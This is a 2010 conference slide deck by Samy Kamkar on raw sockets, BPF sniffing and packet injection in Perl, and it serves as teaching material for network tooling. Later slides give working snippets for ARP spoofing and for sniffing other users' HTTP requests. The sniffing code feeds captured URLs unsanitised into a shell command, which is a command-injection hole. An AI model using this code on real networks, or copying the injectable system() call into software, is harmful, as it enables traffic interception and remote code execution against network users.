200 likes | 218 Views
Learn the fundamentals of low-level networking in Perl with Samy Kamkar! Explore system-level software, packet manipulation, protocol deciphering, and more. Dive into raw sockets, sniffing, and network mapping to enhance your Perl skills. Unleash the power of Perl for network monitoring, intrusion detection, and traffic control. Discover portable tools like tcpdump and lsof for network analysis. Elevate your Perl programming with low-level syscalls, struct manipulation, and packet injection. Take your networking game to the next level with Samy Kamkar's expert guidance.
E N D
EXTREMELY LOW-LEVEL NETWORKING IN PERL Samy Kamkar May 26, 2010
Who is Samy? • Co-Founder of Fonality, IP PBX Company • ”Narcissistic Vulnerability Pimp” (aka Security Researcher for fun) • Passionate Perl Programmer • Lady Gaga aficionado
Why am I talking? • Share the awesomeness of the packet • Prove that you can do low-level in Perl • Explain why packet-fu is useful • Provide examples of useful tools • Write portable, system-level software • I like turtles
What can we do with this? • System-Level Software • Porting tools like tcpdump, ifconfig, lsof, arp, etc • Network Monitoring • Intrusion Detection Systems, Port Scanning • Packet sniffing/injection/pen testing • Deciphering protocols, packet “grepping” • Packet replaying, man-in-the-middling • Traffic/flow control, TCP session control • Browser following (HTTP sniffing) • Network mapping/fingerprinting • ARP spoofing, DNS spoofing
So how do we do it? • Inline::C … cool, but NAH! • XS .. That’s a great way…but nope! • system() ? LOLOCOPTERS! • syscall() //;# low-level syscalls in perl! • syscall(SYS___sysctl, …) //;# sysctl in perl! • ioctl() //;# control special devices/FHs! • fcntl() //;# more control over devices! • pack/unpack //;# deal with binary strings • socket() //;# we’ll use this for some raw sockets • setsockopt() //;# more modifications to sockets
The Basics: Automation • Don’t convert .h (headers) to perl • Perl will do it for you! • h2ph.pl (old school) • c2phear.pl, part of Packet • use Config.pm to tell you type sizes use Config; print $Config{“intsize”}; # 4
The Basics: C Definitions/Sizes #define BPF_MAXBUFSIZE 0x80000 sub BPF_MAXBUFSIZE { 0x80000 } #define _IOC(inout,group,num,len) (inout | ((len & IOCPARM_MASK) << 16) | ((group) << 8) | (num)) sub _IOC { my ($inout, $group, $num, $len) = @_; ($inout | (($len & &IOCPARM_MASK) << 16) | (($group) << 8) | ($num)); } #define _IOR(g,n,t) _IOC(IOC_OUT, (g), (n), sizeof(t)) use Config; sub _IOR { my ($g, $n, $t) = @_; &_IOC( &IOC_OUT, $g, $n, $Config{$t . “size”}); }
The Basics: C Structures sub bpf_program { my %struct = @_; my $len = length(bpf_insn()); pack(“Ia$len”, $struct{‘bf_len’}, bpf_insn($struct{‘*bf_insns’})); } sub bpf_insn { my %struct = @_; pack(“SaaI”, @struct{qw/ code jt jf k /} ); } // Use pack()/unpack() // to do these in perl! struct bpf_program { u_int bf_len; struct bpf_insn *bf_insns; }; struct bpf_insn { u_short code; u_char jt; u_char jf; bpf_u_int32 k; };
sysctl() to get/set system info // from arp.c on OS X & FreeBSD int mib[6]; size_t needed; mib[0] = CTL_NET; mib[1] = PF_ROUTE; mib[2] = 0; mib[3] = AF_INET; mib[4] = NET_RT_FLAGS; mib[5] = RTF_LLINFO; sysctl(mib, 6, NULL, &needed, NULL, 0); # in Perl, $needed also updates without using a ref my $needed = “\0” x $Config{“intsize”}; my @mib = (&CTL_NET, &PF_ROUTE, 0, &AF_INET, &NET_RT_FLAGS, &RTF_LLINFO); my $mib = pack(‘i’ x @mib, @mib); syscall(&SYS___sysctl, $mib, 6, 0, $needed, 0, 0);
ioctl() and raw devices # raw BPF sniffer in perl (no libpcap!), works on Linux, OS X, *BSD use Packet; # import our C definitions/structs/etc open(FD, "</dev/bpf0"); # open our BPF device $ifr = pack('a16@48', "eth0"); # set up network interface to be read ioctl(FD, &BIOCSETIF, $ifr); # attach network interface to bpf device ioctl(FD, &BIOCPROMISC, $undef); # go into promiscuous mode...naughty! ioctl(FD, &BIOCGBLEN, $size); # how much we can read at a time $buflen = unpack("l", $size); # our size is in ascii so get decimal while (1) { if (sysread(FD, $packet, $buflen)) # read in our bpf header { $bpf = bpf_hdr_unpack($packet); # unpack the bpf header substr($packet, 0, # remove bpf header from packet BPF_WORDALIGN($bpf->{bh_caplen} + $bpf->{bh_hdrlen}), undef); print $packet; # actual packet contents! } }
A Portable Packet Sniffer use Packet; my $eth = new Packet::Ethernet; my $ip = new Packet::IP; my $s = Packet::Sniff->new(device => $DEVICE); # start monitoring $s->open() || die $s->{errbuf}; # open our device $s->loop(0, \&cf); # send packets to callback sub cf { my ($ud, $hdr, $pkt, $s) = @_; my ($time, $hi) = Time::HiRes::gettimeofday(); # high-res time $time = $1 if localtime($time) =~ /(\d+:\d+:\d+)/; # current time $eth->decode($pkt); # decode ethernet packet if ($eth->type == 0x0800) # 0x0800 == IP packet { $ip->decode($eth->data); # decode IP packet print "$time.$hi IP $ip->{src_ip} -> $ip->{dest_ip}: $ip->{proto}\n” unpack(“H*”, $pkt) . “\n”; # print packet + header } }
ARP Spoofing ARP Spoofing
ARP Spoofing – Simple! my $raw = new Packet::Inject(device => $device); # inject raw packets! my $eth = new Packet::Ethernet()->encode(); # eth pkt will broadcast my $arp = new Packet::ARP( sender_eth => "a:b:c:d:e:f", # our MAC target_eth => ”ff:ff:ff:ff:ff:ff", # broadcast sender_ip => ”10.0.0.1", # ip we’re stealing target_ip => ”1.2.3.4” # whatever )->encode(); # now we have a built packet $arp $raw->open(); # open our device for injection $raw->write(packet => $eth . $arp); # inject!!! $raw->close();
Epic Browser Sniffing sub cf { my ($ud, $hdr, $pkt, $s) = @_; $eth->decode($pkt); # decode ethernet packet if ($eth->type == 0x0800) { # 0x0800 == IP packet $ip->decode($eth->data); # decode IP packet if ($ip->proto == 6) { # TCP packet $tcp->decode($ip->data); # decode TCP packet if ($tcp->dst_port == 80) { # HTTP packet # read HTTP header if ($tcp->data =~ /GET (\S+) HTTP.*?Host: (\S+)/s) { # use applescript to open our browser! system(“osascript -e 'tell application \"Safari\” to open location \"http://$2$1\”"); }}}}}
Q&A A gentleman never asks. A lady never tells.
Fin Packet (Perl module suite): samy.pl/packet h2ph: man h2ph pwnat: samy.pl/pwnat Samy Kamkar www.samy.pl samy@samy.pl twitter.com/SamyKamkar